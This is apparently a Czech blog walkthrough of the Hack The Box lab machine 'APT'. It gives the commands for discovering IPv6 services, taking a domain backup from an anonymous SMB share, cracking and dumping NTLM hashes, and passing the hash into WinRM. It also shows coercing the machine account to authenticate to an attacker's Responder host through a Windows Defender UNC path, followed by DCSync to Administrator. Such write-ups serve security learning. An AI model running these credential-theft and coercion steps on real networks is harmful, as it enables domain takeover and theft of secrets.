tom@home.htb:~$

Blog o HTB

29 October 2020

APT

Úvod a kontext

APT je velmi dobrá ukázka toho, jak nebezpečný je únik doménové zálohy. Samotné IPv4 rozhraní skoro nic neprozrazuje, ale přechod na IPv6 otevře kompletní AD infrastrukturu, anonymní SMB share a nakonec i backup.zip s ntds.dit a SYSTEM.

Didakticky je tenhle stroj cenný hlavně tím, že user i root část stojí na práci s tajemstvími, ne na klasickém exploitu. Nejdřív offline vytěžené hashe otevřou účet henry.vinson_adm, pak vynucená autentizace účtu stroje APT$ dovede řetězec až k DCSync.

Počáteční průzkum

Vyhledání otevřených portů (IPv4)

Nejdřív mapuji veřejně dostupné služby přes IPv4.

IP=10.10.10.213;ports=$(nmap -p- -Pn --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT    STATE SERVICE VERSION
80/tcp  open  http    Microsoft IIS httpd 10.0
135/tcp open  msrpc   Microsoft Windows RPC

Zároveň je patrné, že server pracuje i s IPv6 adresami.

Enumerace IPv6 a AD služeb

Přes RPC a vlastní skript vytáhnu IPv6 adresu hostu a provedu nový scan.

python3 server-address.py
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f
ports=$(nmap -p- -Pn --min-rate=1000 -T4 -6 dead:beef::b885:d62a:d679:573f | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn -6 dead:beef::b885:d62a:d679:573f
53/tcp    open  domain
88/tcp    open  kerberos-sec
389/tcp   open  ldap
445/tcp   open  microsoft-ds
5985/tcp  open  http
...

Na IPv6 je vidět kompletní AD infrastruktura.

Získání backup.zip ze SMB share

V anonymním SMB share backup najdu soubor backup.zip.

smbclient -N //dead:beef::b885:d62a:d679:573f/backup
get backup.zip

Heslo k ZIPu získám přes john.

zip2john backup.zip > backup.john
john --wordlist=/usr/share/wordlists/rockyou.txt backup.john
__CENSORED__
7z x backup.zip

Extrakce hashů z AD zálohy

V záloze jsou soubory ntds.dit a SYSTEM, takže jde offline vytáhnout NTLM hashe.

impacket-secretsdump -ntds "Active Directory/ntds.dit" -system registry/SYSTEM -hashes lmhash:nthash LOCAL -outputfile ntlm-extract

Z výpisu identifikuji zajímavé účty (Administrator, henry.vinson, APT$) a pokračuji na henry.vinson.

Přístup k účtu henry.vinson_adm

Zkouším dostupné hashe a přes impacket-reg se dostanu k uloženým údajům aplikace GiganticHostingManagementSystem.

impacket-reg htb.local/henry.vinson@apt.htb.local -hashes :__CENSORED__ query -keyName HKU\\Software\\GiganticHostingManagementSystem
UserName  REG_SZ  henry.vinson_adm
PassWord  REG_SZ  __CENSORED__
evil-winrm -i apt.htb.local -u henry.vinson_adm -p __CENSORED__

Získání přístupu

Získání user flagu

User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.

cat user.txt
__CENSORED__

Odchyt NTLMv1 hashe účtu stroje APT$

Pro další eskalaci odchytím autentizaci účtu stroje přes SMB (Responder) a vynutím přístup na UNC cestu.

python2 ./Responder/Responder.py -I tun0 --lm
cmd /C C:\Users\"All Users"\Microsoft\"Windows Defender"\platform\4.18.2010.7-0\X86\MpCmdRun.exe -Scan -ScanType 3 -File \\\\10.10.14.7\\hello\\win.exe
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash     : __CENSORED__

NTLMv1 challenge/response cracknu a získám použitelný hash účtu APT$.

DCSync a přístup na Administrator

S hashem účtu stroje provedu dump doménových tajemství a vytáhnu NT hash Administrator.

impacket-secretsdump -hashes __CENSORED__:__CENSORED__ 'apt.htb/APT$@apt.htb.local'
Administrator:500:__CENSORED__:__CENSORED__:::
...
evil-winrm -i apt.htb.local -u Administrator -H __CENSORED__

Eskalace oprávnění

Získání root flagu

Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.

cat root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - active-directory - smb - kerberos - winrm